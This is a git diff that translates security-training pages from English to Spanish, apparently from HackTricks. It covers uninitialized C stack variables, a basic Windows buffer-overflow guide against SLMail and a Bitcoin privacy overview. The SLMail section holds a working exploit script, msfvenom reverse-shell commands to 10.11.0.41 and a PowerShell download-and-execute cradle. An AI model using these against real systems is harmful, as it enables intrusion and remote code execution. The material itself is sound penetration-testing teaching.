say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **Función 1: `initializeVariable`**: Declaramos una variable `x` y le asignamos un valor, digamos `0x1234`. Esta acción es similar a reservar un espacio en la memoria y poner un valor específico en él. +- **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En cambio, retienen el último valor que se almacenó en su ubicación de memoria. -When we run these two functions **sequentially**: +Cuando ejecutamos estas dos funciones **secuencialmente**: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. En `initializeVariable`, `x` se le asigna un valor (`0x1234`), que ocupa una dirección de memoria específica. +2. En `useUninitializedVariable`, `y` se declara pero no se le asigna un valor, por lo que toma el espacio de memoria justo después de `x`. Debido a que no se inicializa `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese es el último valor que estuvo allí. -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles que quedan en la memoria. -Uninitialized stack variables could pose several security risks like: +Las variables de pila no inicializadas podrían presentar varios riesgos de seguridad como: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **Filtración de Datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, permitiendo a los atacantes potencialmente leer estos datos. +- **Divulgación de Información**: El contenido de las variables no inicializadas podría revelar detalles sobre el diseño de la memoria del programa o las operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos. +- **Caídas e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, llevando a caídas del programa o resultados impredecibles. +- **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, permitiéndoles ejecutar código arbitrario, lo que podría incluir amenazas de ejecución remota de código. +### Ejemplo ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### Cómo Funciona Esto: -#### How This Works: +- **`initializeAndPrint` Function**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es sencillo y muestra cómo se comporta una variable inicializada. +- **`demonstrateUninitializedVar` Function**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estaba previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar, y a veces, por seguridad, algunos compiladores pueden inicializar automáticamente las variables a cero, aunque esto no debe ser confiado. +- **`main` Function**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando el contraste entre una variable inicializada y una no inicializada. -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## Ejemplo ARM64 -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +Esto no cambia en absoluto en ARM64 ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..dccfb2d4d 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Guía Básica - Nivel OSCP) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Comienza a instalar el servicio SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Reiniciar el servicio SLMail +Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## Plantilla de exploit de python muy básica ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Cambiar la fuente de Immunity Debugger** -## **Change Immunity Debugger Font** +Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Adjuntar el proceso a Immunity Debugger:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**Y presiona el botón START** -## **Send the exploit and check if EIP is affected:** +## **Envía el exploit y verifica si EIP está afectado:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página. -## Create a pattern to modify the EIP +## Crear un patrón para modificar el EIP -The pattern should be as big as the buffer you used to broke the service previously. +El patrón debe ser tan grande como el buffer que usaste para romper el servicio anteriormente. ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Cambia el búfer del exploit y establece el patrón y lanza el exploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Debería aparecer un nuevo fallo, pero con una dirección EIP diferente: ![](<../images/image (636).png>) -Check if the address was in your pattern: +Verifica si la dirección estaba en tu patrón: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Parece que **podemos modificar el EIP en el offset 2606** del buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Verifícalo modificando el buffer del exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Con este búfer, el EIP que se bloqueó debería apuntar a 42424242 ("BBBB") ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +Parece que está funcionando. -## Check for Shellcode space inside the stack +## Verificar el espacio para Shellcode dentro de la pila -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B debería ser suficiente para cualquier shellcode potente. +Vamos a cambiar el búfer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +lance el nuevo exploit y verifique el EBP y la longitud del shellcode útil ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Puede ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +En este caso tenemos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente. -## Check for bad chars - -Change again the buffer: +## Verifique los caracteres no deseados +Cambia nuevamente el buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,63 +128,45 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Los badchars comienzan en 0x01 porque 0x00 es casi siempre malo. -The badchars starts in 0x01 because 0x00 is almost always bad. +Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentran como inútiles: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Por ejemplo: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +En este caso puedes ver que **no deberías usar el carácter 0x0A** (nada se guarda en memoria ya que el carácter 0x09). ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +En este caso puedes ver que **se evita el carácter 0x0D**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## Encuentra un JMP ESP como dirección de retorno +Usando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (555).png>) - -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para hacer eso ejecuta: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**En este caso, por ejemplo: \_0x5f4a358f**\_ +## Crear shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom con crear diferentes shellcodes para los mismos parámetros). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Agrega algunos NOPS al principio** del shellcode y úsalo junto con la dirección de retorno para JMP ESP, y termina el exploit: ```bash #!/usr/bin/python @@ -236,26 +205,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Hay shellcodes que **se sobrescriben a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode -## Improving the shellcode - -Add this parameters: +## Mejorando el shellcode +Agrega estos parámetros: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..2acdb19ef 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## Conceptos Básicos -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios. +- **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un backend transparente y auditable. +- **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos. +- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos. +- **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales. +- **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizado y Organizaciones Autónomas Descentralizadas, respectivamente. -## Consensus Mechanisms +## Mecanismos de Consenso -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones. +- **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW. -## Bitcoin Essentials +## Esenciales de Bitcoin -### Transactions +### Transacciones -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias. -#### Key Components: +#### Componentes Clave: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción. +- Las transacciones consisten en **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de la transacción). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain. -## Bitcoin Privacy Concerns +## Preocupaciones de Privacidad de Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios. -## Acquiring Bitcoins Anonymously +## Adquiriendo Bitcoins Anónimamente -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad. -# Bitcoin Privacy Atacks +# Ataques a la Privacidad de Bitcoin -# Summary of Bitcoin Privacy Attacks +# Resumen de Ataques a la Privacidad de Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin. -## **Common Input Ownership Assumption** +## **Suposición de Propiedad de Entrada Común** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**. -## **UTXO Change Address Detection** +## **Detección de Dirección de Cambio UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad. -### Example +### Ejemplo -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad. -## **Social Networks & Forums Exposure** +## **Exposición en Redes Sociales y Foros** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**. -## **Transaction Graph Analysis** +## **Análisis de Gráficos de Transacciones** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente. +### Ejemplo ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Si agregar más entradas hace que la salida cambie más que cualquier entrada individual, puede confundir la heurística. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Reutilización Forzada de Direcciones** -## **Forced Address Reuse** +Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Comportamiento Correcto de la Billetera -### Correct Wallet Behavior +Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Otras Técnicas de Análisis de Blockchain** -## **Other Blockchain Analysis Techniques** +- **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones pertenecientes al mismo usuario. +- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio. +- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio. +- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Análisis de Tráfico** -## **Traffic Analysis** +Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Más -## More +Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Transacciones Anónimas de Bitcoin -# Anonymous Bitcoin Transactions +## Formas de Obtener Bitcoins de Manera Anónima -## Ways to Get Bitcoins Anonymously +- **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo. +- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin. +- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de manera anónima, aunque es ilegal y no se recomienda. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Servicios de Mezcla -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y para devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Mejores Prácticas para la Privacidad en Criptomonedas -# Best Practices for Privacy in Cryptocurrencies +## **Técnicas de Sincronización de Monederos** -## **Wallet Synchronization Techniques** +Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario. +- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Utilizando Tor para la Anonimidad** -## **Utilizing Tor for Anonymity** +Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Prevención de la Reutilización de Direcciones** -## **Preventing Address Reuse** +Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Estrategias para la Privacidad Transaccional** -## **Strategies for Transaction Privacy** +- **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad. +- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios. +- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Un Faro de Anonimato** -# **Monero: A Beacon of Anonymity** +Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas y Transacciones** -# **Ethereum: Gas and Transactions** +## **Entendiendo el Gas** -## **Understanding Gas** +El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Ejecutando Transacciones** -## **Executing Transactions** +Las transacciones en Ethereum involucran un 